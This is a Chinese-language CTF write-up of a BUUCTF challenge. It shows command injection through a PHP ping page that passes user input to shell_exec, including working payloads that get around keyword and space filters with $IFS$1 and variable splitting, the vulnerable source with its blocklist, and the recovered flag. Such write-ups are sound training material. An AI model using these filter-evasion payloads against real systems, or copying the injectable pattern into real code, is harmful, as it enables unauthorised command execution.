前言:题目来源BUUCTF。在Linux中,ping是一个用来测试网络连通性的命令。
目录:
一、题目
靶机主页为一几乎空白网页,上有文本:
/?ip=
二、解析
题目在提示我们用GET请求传值。我们传一个127.0.0.1试试:
PING 127.0.0.1 (127.0.0.1): 56 data bytes
64 bytes from 127.0.0.1: seq=0 ttl=42 time=0.056 ms
64 bytes from 127.0.0.1: seq=1 ttl=42 time=0.087 ms
64 bytes from 127.0.0.1: seq=2 ttl=42 time=0.093 ms
64 bytes from 127.0.0.1: seq=3 ttl=42 time=0.059 ms
--- 127.0.0.1 ping statistics ---
4 packets transmitted, 4 packets received, 0% packet loss
round-trip min/avg/max = 0.056/0.073/0.093 ms
显示了Ping 127.0.0.1的内容,这些输出很明显来自一个shell。这说明靶机主页的功能是将用户输入与ping命令拼接,然后将命令的输出打印在网页上。
既然是拼接命令的程序,我们就想到Linux中的一些命令知识——“;”用于接连执行多条命令,而“|”用于将前一条命令之输出传给后一个命令。
那么构造URL如下,试着执行ls命令。
http://靶机地址:端口号/?ip=127.0.0.1;ls
确有输出如下:
flag.php
index.php
直接访问flag.php无结果,可能需要拼接一些命令来显示其源码。
http://靶机地址:端口号/?ip=127.0.0.1;cat%20flag.php
页面显示“fxck your space!”,相当素质。看来我们不能使用空格了,URL编码过的也不行。于是想到Linux的shell中有一个环境变量$IFS,代表空格、Tab或者换行符,考虑用这个试试。
然后这里产生了一个混淆问题:直接将命令写作cat$IFSflag.php肯定不行。shell会先把$IFSflag.php作为变量尝试解析——然而并没有这个环境变量——于是命令就不能执行。
那我们用一个空变量$1来分隔开环境变量$IFS与文件名。这个$1变量是shell脚本中的位置参数,不会产生混淆,而且未指定其内容时,会被解析为空变量。
构造URL如下:
http://靶机地址:端口号/?ip=127.0.0.1;cat$IFS$1flag.php
页面显示“fxck your flag!”,看来关键词flag也无法使用。但是,至少我们可以查看index.php了,构造命令后得到index.php源码:
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "
";
print_r($a);
}
?>
这段代码写的很不规范,但不影响阅读。自行补全后,逐行解析如下:
<?php
// 检查是否通过 GET 参数传递了 'ip'
if (isset($_GET['ip'])) {
$ip = $_GET['ip'];
if (preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)) {
echo "fxck your symbol!"; // 检查是否包含非法字符
die();
} else if (preg_match("/ /", $ip)) { // 检查是否包含空格
die("fxck your space!");
} else if (preg_match("/bash/", $ip)) { // 检查是否包含 "bash"
die("fxck your bash!");
} else if (preg_match("/.*f.*l.*a.*g.*/", $ip)) { // 检查是否模糊匹配 "flag"
die("fxck your flag!");
}
// 执行 ping 命令
$a = shell_exec("ping -c 4 " .$ip); // 命令拼接
echo "<pre>";
print_r($a);
echo "</pre>";
} else {
// 如果未提供 ip 参数
echo "";
}
?>
看这一串过滤条件头都大了,甚至还有俩过滤条件刚才都没试出来。尤其是模糊匹配f、l、a、g的正则表达式:只要命令按顺序出现这四个字母,那就会报错,导致无法拼接字符串。
刚才提到靶机主页的功能是将用户输入与ping命令拼接,然后将命令的输出打印在网页上。实现此功能用到了一个变量$a,可以考虑用这个变量打乱四个字母的顺序。
构造URL如下:
http://靶机地址:端口号/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
对于index.php的过滤规则来说,它现在就无法依次匹配到f、l、a、g了,因为字母是按照a、g、f、l的顺序出现的。上述Payload提交给靶机后,会顺利通过检测,在shell中执行下列命令:
ping 127.0.0.1 ; a=g ; cat fla$a.php
😡欸,怎么还是什么都没有?马上按F12检查一下到底输出了什么,发现以下代码:
<!--?php
$flag = "flag{5405c12c-fc50-447b-8ce1-1dcfa4ea1194}";
?-->
这就是flag.php的内容。
udniyb
uppa5v
9xd0h1